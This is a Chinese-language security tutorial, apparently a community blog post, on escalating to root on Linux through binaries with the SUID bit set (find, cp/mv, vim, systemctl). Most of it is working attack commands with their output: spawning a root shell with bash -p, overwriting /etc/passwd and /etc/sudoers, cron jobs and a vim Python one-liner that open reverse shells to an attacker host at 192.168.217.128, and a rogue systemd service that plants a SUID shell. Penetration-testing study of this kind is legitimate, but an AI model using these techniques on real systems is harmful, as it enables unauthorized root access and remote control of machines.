这篇文章由“潇湘信安技术交流群”@嘞萌师傅投稿,@3h整理发布,感谢分享!
@蜗牛师傅也写了一篇,大家可以参考学习下:权限提升 | suid提权及修复方式
0x01 SUID命令提权简介
setuid是set uid ID upon execution的缩写,我们一般会再次把它们缩写为suid,它们是控制文件访问的权限标志(flag),它允许用户以可执行文件的所有者的权限运行可执行文件,当所有者为root时,其他用户则可以使用root权限运行可执行文件,这就带来了安全风险,用户可以通过带有suid权限的命令进行提权,最终获得root权限。
0x02 查找具有suid权限文件的命令
-exec 是用来执行ls -al命令
{}表示前面find所查找到的所有结果
\; 是转义;来结束命令
2> 将标准错误输出输出到/dev/null
find / -xdev -type f -perm /4000 -exec ls -al {} \; 2> /dev/null0x03 为命令设置suid权限
[[email protected] ~]# whereis findfind: /usr/bin/find /usr/share/man/man1/find.1.gz[[email protected] ~]# chmod u+s /usr/bin/find[[email protected] ~]# ls -al /usr/bin/find-rwsr-xr-x. 1 root root 199304 Oct 31 2018 /usr/bin/find
0x04 find命令提权
如果find命令有suid则可以利用find命令提权,这里注意应该加上-p参数,网上大多数版本并没有-p选项,导致不能真正的以root权限开启一个新的shell。
[[email protected] ~]$ find . -exec /bin/bash -p \;bash-4.2# whoamiroot
当真实用户id和有效用户id不匹配时打开。禁用处理$ENV文件和导入shell功能。关闭此选项将导致有效的uid和Gid设置为真实uid和Gid。
bash -p参数-p Turned on whenever the real and effective user ids do not match.Disables processing of the $ENV file and importing of shellfunctions. Turning this option off causes the effective uid andgid to be set to the real uid and gid.
0x05 cp/mv命令提权
这里只演示cp命令,mv同理。
[[email protected] ~]$ cp /etc/passwd /tmp/passwd[[email protected] ~]$ ls -al /tmp/passwd-rw-r--r-- 1 root admin 1051 Nov 15 02:06 /tmp/passwd
加密的密码具有固定格式:
$id$salt$encryptedid表示加密算法,1代表MD5,5代表SHA-256,6代表SHA-512 目前基本上都使用sha-512算法的,但无论是md5还是sha-256都仍然支持。salt表示密码学中的Salt,系统生成encrypted表示密码的hash
openssl passwd -6 -salt 1 123456passwdGeneration of hashed passwords.-6Use the SHA256 / SHA512 based algorithms defined by Ulrich Drepper.-salt stringUse the specified salt. When reading a password from the terminal, this implies -noverify.
生成一个基于sha512密码算法,并且盐为1的密码为123456的密文。
┌──(kali㉿kali)-[~/Desktop]└─$ openssl passwd -6 -salt 1 123456$6$1$j.74UuJkzzPKyD/cMaD1PygML3gwSnec87gsickCF6sO5D8UuHzTbK0DtUbI1257QK03GEHXpdFFmjPewVtaI0
查看/tmp/passwd的内容,并创建一个新的passwd并将/tmp/passwd的内容与新生成的密码写进去
[[email protected] ~]$ cat /tmp/passwdroot:x:0:0:root:/root:/bin/bash...[[email protected] ~]$ vim passwdroot:$6$1$j.74UuJkzzPKyD/cMaD1PygML3gwSnec87gsickCF6sO5D8UuHzTbK0DtUbI1257QK03GEHXpdFFmjPewVtaI0:0:0:root:/root:/bin/bash...
将创建的新的passwd覆盖掉/etc/passwd
[[email protected] ~]$ cp passwd /etc/passwd[[email protected] ~]$
[[email protected] ~]$ cat crontabSHELL=/bin/bashPATH=/sbin:/bin:/usr/sbin:/usr/binMAILTO=root* * * * * root bash -i >& /dev/tcp/192.168.217.128/9001 0>&1
cp crontab /etc/crontab#!/bin/shcp /bin/bash /tmp/root_accesschmod +xs /tmp/root_access
赋予root_access文件执行权限,并将其放入/etc/cron.hourly中让其每个小时执行一遍
[[email protected] ~]$ chmod +x root_access[[email protected] ~]$ cp root_access /etc/cron.hourly
等待root_access的创建,最后执行/tmp/root_access -p
[[email protected] ~]$ /tmp/root_access -proot_access-4.2#
0x06 vim等编辑器命令提权
方法一
┌──(kali㉿kali)-[~/Desktop]└─$ openssl passwd -6 -salt 1 123456$6$1$j.74UuJkzzPKyD/cMaD1PygML3gwSnec87gsickCF6sO5D8UuHzTbK0DtUbI1257QK03GEHXpdFFmjPewVtaI0[[email protected] ~]$ vim /etc/passwdroot:$6$1$j.74UuJkzzPKyD/cMaD1PygML3gwSnec87gsickCF6sO5D8UuHzTbK0DtUbI1257QK03GEHXpdFFmjPewVtaI0:0:0:root:/root:/bin/bash...:wq!
[[email protected] ~]$ vim /etc/sudoers## The COMMANDS section may have other options added to it.#### Allow root to run any commands anywhereroot ALL=(ALL) ALLadmin ALL=(ALL) ALL...:wq!
[[email protected] ~]$ vim /etc/crontabSHELL=/bin/bashPATH=/sbin:/bin:/usr/sbin:/usr/binMAILTO=root# For details see man 4 crontabs# Example of job definition:# .---------------- minute (0 - 59)# | .------------- hour (0 - 23)# | | .---------- day of month (1 - 31)# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat# | | | | |# * * * * * user-name command to be executed* * * * * root nc -lp 9001 -e /bin/bash:wq!
[[email protected] ~]$ vim -c ':py import os; os.execl("/bin/bash", "bash", "-cp", "reset; exec bash -p")'bash-4.2# whoamirootbash-4.2#
反弹shell,这里注意利用的是subprocess模块才可以添加-p参数,pty模块不可以添加-p参数。
[[email protected] ~]$ export RHOST=192.168.217.128[[email protected] ~]$ export RPORT=9001[[email protected] ~]$ vim -c ':py import vim,sys,socket,os,subprocess;s=socket.socket()s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))[os.dup2(s.fileno(),fd) for fd in (0,1,2)]p=subprocess.call(["/bin/bash","-ip"]);vim.command(":q!")'
0x07 systemctl命令提权
如果systemctl具有suid权限则可以利用systemctl进行提权,systemctl 是一个用于管理服务的 Linux 软件套件,可以通过创建一个服务来利用,该服务在启动时将以 root 身份执行任意命令。
[[email protected] ~]$ TF=$(mktemp).service[[email protected] ~]$ echo '[Service]> Type=oneshot> ExecStart=/bin/sh -c "cp /bin/bash /tmp/stef && chmod +s /tmp/stef"> [Install]> WantedBy=multi-user.target' > $TF[[email protected] ~]$ systemctl link $TFCreated symlink from /etc/systemd/system/tmp.60opi0HgQW.service to /tmp/tmp.60opi0HgQW.service.[[email protected] ~]$ systemctl enable --now $TFCreated symlink from /etc/systemd/system/multi-user.target.wants/tmp.60opi0HgQW.service to /tmp/tmp.60opi0HgQW.service.[[email protected] ~]$ /tmp/stef -pstef-4.2# whoamiroot
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推 荐 阅 读